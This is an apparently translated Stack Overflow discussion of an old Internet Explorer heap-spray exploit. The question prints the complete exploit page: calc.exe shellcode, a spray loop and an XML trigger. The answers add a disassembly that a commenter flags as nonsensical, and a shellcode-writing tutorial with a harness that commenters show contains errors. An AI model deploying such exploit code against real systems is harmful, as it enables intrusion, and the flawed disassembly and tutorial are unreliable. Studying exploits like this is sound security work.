Jak działa ten exploit milw0rm do rozpylania sterty?

145

Zwykle nie mam trudności z odczytaniem kodu JavaScript, ale w tym przypadku nie mogę zrozumieć logiki. Kod pochodzi z exploita opublikowanego 4 dni temu. Możesz go znaleźć pod adresem milw0rm .

Oto kod:

<html>
    <div id="replace">x</div>
    <script>
        // windows/exec - 148 bytes
        // http://www.metasploit.com
        // Encoder: x86/shikata_ga_nai
        // EXITFUNC=process, CMD=calc.exe
        var shellcode = unescape("%uc92b%u1fb1%u0cbd%uc536%udb9b%ud9c5%u2474%u5af4%uea83%u31fc%u0b6a%u6a03%ud407%u6730%u5cff%u98bb%ud7ff%ua4fe%u9b74%uad05%u8b8b%u028d%ud893%ubccd%u35a2%u37b8%u4290%ua63a%u94e9%u9aa4%ud58d%ue5a3%u1f4c%ueb46%u4b8c%ud0ad%ua844%u524a%u3b81%ub80d%ud748%u4bd4%u6c46%u1392%u734a%u204f%uf86e%udc8e%ua207%u26b4%u04d4%ud084%uecba%u9782%u217c%ue8c0%uca8c%uf4a6%u4721%u0d2e%ua0b0%ucd2c%u00a8%ub05b%u43f4%u24e8%u7a9c%ubb85%u7dcb%ua07d%ued92%u09e1%u9631%u5580");

        // ugly heap spray, the d0nkey way!
        // works most of the time
        var spray = unescape("%u0a0a%u0a0a");

        do {
           spray += spray;
        } while(spray.length < 0xd0000);

        memory = new Array();

        for(i = 0; i < 100; i++)
           memory[i] = spray + shellcode;

        xmlcode = "<XML ID=I><X><C><![CDATA[<image SRC=http://&#x0a0a;&#x0a0a;.example.com>]]></C></X></XML><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML><XML ID=I></XML><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN></SPAN>";

        tag = document.getElementById("replace");
        tag.innerHTML = xmlcode;

    </script>
</html>

Oto, co wierzę, że to robi i chciałbym, abyś pomógł mi w tej części, którą źle zrozumiałem.

Zmienna shellcodezawiera kod do otwarcia pliku calc.exe. Nie rozumiem, jak znaleźli ten dziwny ciąg. Dowolny pomysł?

Druga sprawa to zmienna spray. Nie rozumiem tej dziwnej pętli.

Trzecia sprawa to zmienna, memoryktóra nigdy nie jest używana. Dlaczego to tworzą?

Ostatnia sprawa: co robi znacznik XML na stronie?

Na razie mam dobre odpowiedzi, ale przeważnie bardzo ogólne. Chciałbym więcej wyjaśnień na temat wartości kodu. Przykładem jest unescape("%u0a0a%u0a0a");. Co to znaczy? To samo dotyczy pętli: dlaczego programista napisał length < 0xd0000:? Chciałbym głębszego zrozumienia, nie tylko teorii tego kodu.

javascript x86 exploit assembly Patrick Desjardins
źródło
Powinieneś zajrzeć do Heap Spraying: en.wikipedia.org/wiki/Heap_spraying
BobbyShaftoe,
Jak pomyślnie uruchomić tego exploita? Czy musimy to uruchamiać w IE?
bad_keypoints

Odpowiedzi:

320

Shellcode zawiera instrukcje asemblera x86, które wykonają rzeczywisty exploit. spraytworzy długą sekwencję instrukcji, które zostaną wprowadzone memory. Ponieważ zwykle nie możemy znaleźć dokładnej lokalizacji naszego szelkodu w pamięci, umieszczamy nopprzed nim wiele instrukcji i przeskakujemy gdzieś tam. memoryTablica będzie posiadać rzeczywisty kod x86 wraz z mechanizmem skoków. Przekażemy spreparowany XML do biblioteki, w której występuje błąd. Podczas parsowania błąd spowoduje, że rejestr wskaźnika instrukcji zostanie przypisany gdzieś w naszym exploicie, co prowadzi do wykonania dowolnego kodu.

Aby głębiej zrozumieć, powinieneś dowiedzieć się, co jest w kodzie x86. unscapeposłuży do umieszczenia sekwencji bajtów reprezentowanych przez łańcuch w sprayzmiennej. Jest to prawidłowy kod x86, który wypełnia dużą część sterty i przeskakuje na początek szelkodu. Przyczyną warunku końcowego są ograniczenia długości ciągów silnika skryptów. Nie możesz mieć sznurków większych niż określona długość.

W zestawie x86 0a0areprezentuje or cl, [edx]. Jest to równoważne z nopinstrukcją do celów naszego exploita. Gdziekolwiek sprayprzejdziemy do w, przejdziemy do następnej instrukcji, aż osiągniemy kod powłoki, który jest kodem, który faktycznie chcemy wykonać.

Jeśli spojrzysz na XML, zobaczysz, 0x0a0aże też tam jest. Dokładne opisanie tego, co się dzieje, wymaga określonej wiedzy na temat exploita (musisz wiedzieć, gdzie jest błąd i jak jest wykorzystywany, czego nie wiem). Wygląda jednak na to, że zmuszamy program Internet Explorer do wywoływania błędnego kodu, ustawiając na innerHtmlten złośliwy ciąg XML. Internet Explorer próbuje go przeanalizować, a błędny kod w jakiś sposób daje kontrolę nad lokalizacją pamięci, w której istnieje tablica (ponieważ jest to duży fragment, prawdopodobieństwo skoku tam jest wysokie). Kiedy tam przeskoczymy, procesor będzie wykonywał or cl, [edx]instrukcje, aż osiągnie początek kodu powłoki, który jest umieszczony w pamięci.

Zdemontowałem kod powłoki:

00000000  C9                leave
00000001  2B1F              sub ebx,[edi]
00000003  B10C              mov cl,0xc
00000005  BDC536DB9B        mov ebp,0x9bdb36c5
0000000A  D9C5              fld st5
0000000C  2474              and al,0x74
0000000E  5A                pop edx
0000000F  F4                hlt
00000010  EA8331FC0B6A6A    jmp 0x6a6a:0xbfc3183
00000017  03D4              add edx,esp
00000019  07                pop es
0000001A  67305CFF          xor [si-0x1],bl
0000001E  98                cwde
0000001F  BBD7FFA4FE        mov ebx,0xfea4ffd7
00000024  9B                wait
00000025  74AD              jz 0xffffffd4
00000027  058B8B028D        add eax,0x8d028b8b
0000002C  D893BCCD35A2      fcom dword [ebx+0xa235cdbc]
00000032  37                aaa
00000033  B84290A63A        mov eax,0x3aa69042
00000038  94                xchg eax,esp
00000039  E99AA4D58D        jmp 0x8dd5a4d8
0000003E  E5A3              in eax,0xa3
00000040  1F                pop ds
00000041  4C                dec esp
00000042  EB46              jmp short 0x8a
00000044  4B                dec ebx
00000045  8CD0              mov eax,ss
00000047  AD                lodsd
00000048  A844              test al,0x44
0000004A  52                push edx
0000004B  4A                dec edx
0000004C  3B81B80DD748      cmp eax,[ecx+0x48d70db8]
00000052  4B                dec ebx
00000053  D46C              aam 0x6c
00000055  46                inc esi
00000056  1392734A204F      adc edx,[edx+0x4f204a73]
0000005C  F8                clc
0000005D  6E                outsb
0000005E  DC8EA20726B4      fmul qword [esi+0xb42607a2]
00000064  04D4              add al,0xd4
00000066  D084ECBA978221    rol byte [esp+ebp*8+0x218297ba],1
0000006D  7CE8              jl 0x57
0000006F  C0CA8C            ror dl,0x8c
00000072  F4                hlt
00000073  A6                cmpsb
00000074  47                inc edi
00000075  210D2EA0B0CD      and [0xcdb0a02e],ecx
0000007B  2CA8              sub al,0xa8
0000007D  B05B              mov al,0x5b
0000007F  43                inc ebx
00000080  F4                hlt
00000081  24E8              and al,0xe8
00000083  7A9C              jpe 0x21
00000085  BB857DCBA0        mov ebx,0xa0cb7d85
0000008A  7DED              jnl 0x79
0000008C  92                xchg eax,edx
0000008D  09E1              or ecx,esp
0000008F  96                xchg eax,esi
00000090  315580            xor [ebp-0x80],edx

Zrozumienie tego szelkodu wymaga znajomości asemblera x86 i problemu w samej bibliotece MS (aby wiedzieć, jaki jest stan systemu, kiedy tu dotrzemy), a nie JavaScript! Ten kod z kolei zostanie wykonany calc.exe.

Mehrdad Afshari
źródło
13
Doceniam twój wysiłek za to wyjaśnienie. +25 reputacji i cały mój szacunek. Dzięki
Patrick Desjardins,
20
świetna odpowiedź, ale dobry panie - nagle nie radzę sobie z komputerem ;-)
nazwa użytkownika
50
Jestem zdumiony ludźmi, którym udaje się wymyślić tego rodzaju exploity. Jeśli są na tyle sprytni, aby włamać się tym na czyjeś konto bankowe, zasługują na wszystkie pieniądze, które mogą ukraść;)
Martin
8
Gdyby istniała świątynia dobrych odpowiedzi na SO, to byłaby w niej.
San Jacinto
6
Demontaż wydaje się bezsensowny i całkowicie przypadkowy. To nie może być prawda. Próbowałem zamienić bajty, zakładając, że znaki w ciągu są przechowywane w little-endian, ale to nie pomogło.
Juho Östman
10

Wygląda na to, że wykorzystano ostatni błąd przeglądarki Internet Explorer, dla którego Microsoft wydał poprawkę awaryjną. Wykorzystuje lukę w funkcji wiązania danych programu obsługi XML firmy Microsoft, która powoduje, że pamięć sterty jest nieprawidłowo zwalniana.

Shellcode to kod maszynowy, który zostanie uruchomiony, gdy wystąpi błąd. Rozpylanie i pamięć to tylko część przestrzeni przydzielonej na stercie, aby pomóc w wystąpieniu stanu, który można wykorzystać.

Tim Farley
źródło
Czy myślisz, że takie rzeczy mogą się zdarzyć z rozszerzeniami Chrome?
bad_keypoints
2

Za każdym razem, gdy widzę pamięć, która nie jest omawiana w dyskusji o exploitach, moja pierwsza myśl jest taka, że ​​exploit jest jakimś rodzajem przepełnienia bufora, w którym to przypadku pamięć albo powoduje przepełnienie bufora, albo jest uzyskiwana po przepełnieniu bufora .

Brian
źródło
W tym przypadku nie było to uszkodzenie sterty, przepełnienie buforu na podstawie sterty lub przepełnienie buforu na podstawie stosu: blogs.msdn.com/sdl/archive/2008/12/18/ms08-078-and-the-sdl.aspx
Grant Wagner,
0

Pochodzi z metasploit, co oznacza, że ​​używa jednego z kodów powłoki metasploit. Jest to oprogramowanie typu open source, więc możesz go pobrać: http://www.metasploit.com/

dr. zło
źródło
0

Prosty przykład szelkodu

Witaj świecie w asemblerze at & t składnia x86 wierzę (Kreator w szkoleniu).

skonfiguruj plik:vim shellcodeExample.s

.text           #required
.goblal _start  #required

_start:         #main function
 jmp one        #jump to the section labeled one:

two:
 pop  %rcx         #pop %rcx off the stack, or something
 xor  %rax, %rax   #Clear
 movl 4, %rax      #use sys_write(printf || std::cout)
 xor  %rbx, %rbx   #Clear
 inc  %rbx         #increment %rbx to 1 stdout(terminal)
 xor  %rdx, %rdx   #Clear Registers or something
 movb $13, %dl     #String Size
 int  $0x80

one:
 call two                   #jump up to section two:
 .ascii "Hello World\r\n"   #make the string one of the starting memory 
                            #^-addresses

kompiluj tak:as -o shellcodeExample.o shellcodeExample.s ; ld -s -o shellcode shellcodeExample.o

Teraz masz plik binarny, który wyświetla hello world. aby przekonwertować plik binarny na kod powłoki, wpisz:objdump -D shellcode

otrzymasz wynik: 

shellcode:     file format elf64-x86-64


Disassembly of section .text:

0000000000400078 <.text>:
  400078:   eb 1a                   jmp    0x400094
  40007a:   59                      pop    %rcx
  40007b:   48 31 c0                xor    %rax,%rax
  40007e:   b0 04                   mov    $0x4,%al
  400080:   48 31 db                xor    %rbx,%rbx
  400083:   48 ff c3                inc    %rbx
  400086:   48 31 d2                xor    %rdx,%rdx
  400089:   b2 0d                   mov    $0xd,%dl
  40008b:   cd 80                   int    $0x80
  40008d:   b0 01                   mov    $0x1,%al
  40008f:   48 ff cb                dec    %rbx
  400092:   cd 80                   int    $0x80
  400094:   e8 e1 ff ff ff          callq  0x40007a
  400099:   68 65 6c 6c 6f          pushq  $0x6f6c6c65
  40009e:   20 77 6f                and    %dh,0x6f(%rdi)
  4000a1:   72 6c                   jb     0x40010f
  4000a3:   64                      fs
  4000a4:   0d                      .byte 0xd
  4000a5:   0a                      .byte 0xa

Teraz, jeśli spojrzysz na czwartą linię tekstu, zobaczysz: 400078: eb 1a jmp 0x400094

część, która mówi, eb 1ajest szesnastkową reprezentacją instrukcji asemblerajmp one gdzie „jeden” jest adresem pamięci twojego łańcucha.

aby przygotować kod powłoki do wykonania, otwórz inny plik tekstowy i zapisz wartości szesnastkowe w tablicy znaków. Aby poprawnie sformatować kod powłoki, wpisz \xprzed każdą wartością szesnastkową.

nadchodzący przykład kodu powłoki będzie wyglądał następująco, zgodnie z danymi wyjściowymi polecenia objdump:

unsigned char PAYLOAD[] = 
"\xeb\x1a\x59\x48\x31\xc0\xb0\x04\x48\x31\xdb\x48\xff\xc3\x48\x31\xd2\xb2\xd0\xcd\x80\xb0\x01\x48\xff\xcb\xcd\x80\xe8\xe1\xff\xff\xff\x68\x65\x6c\x6c\x6f\x20\x77\x6f\x72\x6c\x64\x0d\x0a";

Ten przykład używa C dla tablicy. Teraz masz działający kod powłoki, który zapisze na standardowe wyjście „hello world”

możesz przetestować kod powłoki, umieszczając go w podatności lub możesz napisać następujący program w języku c, aby go przetestować:

vim execShellcode.cc; //linux command to create c file.

/*Below is the content of execShellcode.cc*/
unsigned char PAYLOAD[] = 
"\xeb\x1a\x59\x48\x31\xc0\xb0\x04\x48\x31\xdb\x48\xff\xc3\x48\x31\xd2\xb2\xd0\xcd\x80\xb0\x01\x48\xff\xcb\xcd\x80\xe8\xe1\xff\xff\xff\x68\x65\x6c\x6c\x6f\x20\x77\x6f\x72\x6c\x64\x0d\x0a";

int main(){
    ((void(*)(void))PAYLOAD)();
    return 0;
}

Aby skompilować program, wpisz: 

gcc -fno-stack-protector -z execstack execShellcode.cc -o run

uruchom z ./run Wiesz, że masz działający przykład prostego programowania w szelkodzie, który został przetestowany w linux mint / debian.

marc_s
źródło
1
Nie używaj int 0x8032-bitowego ABI w 64-bitowym kodzie. Nie powiedzie się dla łańcuchów na stosie, ponieważ jądro patrzy tylko na najniższe 32 bity argumentów syscall. Co się stanie, jeśli użyjesz 32-bitowego int 0x80 Linux ABI w kodzie 64-bitowym? . (W takim przypadku utworzyłbyś nieskończoną pętlę, ponieważ sys_writewróciłby -EFAULTi mov $1, %alzostawiłby górne bity ustawione, więc -ENOSYSzamiast sys_exit otrzymasz). Ponadto w kodzie 64-bitowym można po prostu jmpprzesłać dalej ciąg i użyć względnego protokołu RIP, leaaby uzyskać adres, zamiast wywoływać / pop.
Peter Cordes,
1
To również się nie powiedzie dla gcc, który domyślnie buduje pliki wykonywalne PIE, ponieważ wtedy nawet twoja tablica znaków pamięci statycznej będzie poza niskimi 32 bitami. (A tak przy okazji, gdyby tak było, const char payload[]to byłby w segmencie tekstowym (w sekcji .rodata) i nie byłbyś potrzebny -z execstack.)
Peter Cordes,
1
Ponadto movl 4, %raxzawiera bajt zerowy (i nie składa się z powodu niezgodności rozmiaru operandu i nie zawiera znaku, $więc 4 jest adresem bezwzględnym). Myślę, że opublikowałeś wczesną wersję swojego źródła. Moje wcześniejsze komentarze dotyczą patrzenia na demontaż, w którym dodałeś sys_exitpołączenie.
Peter Cordes,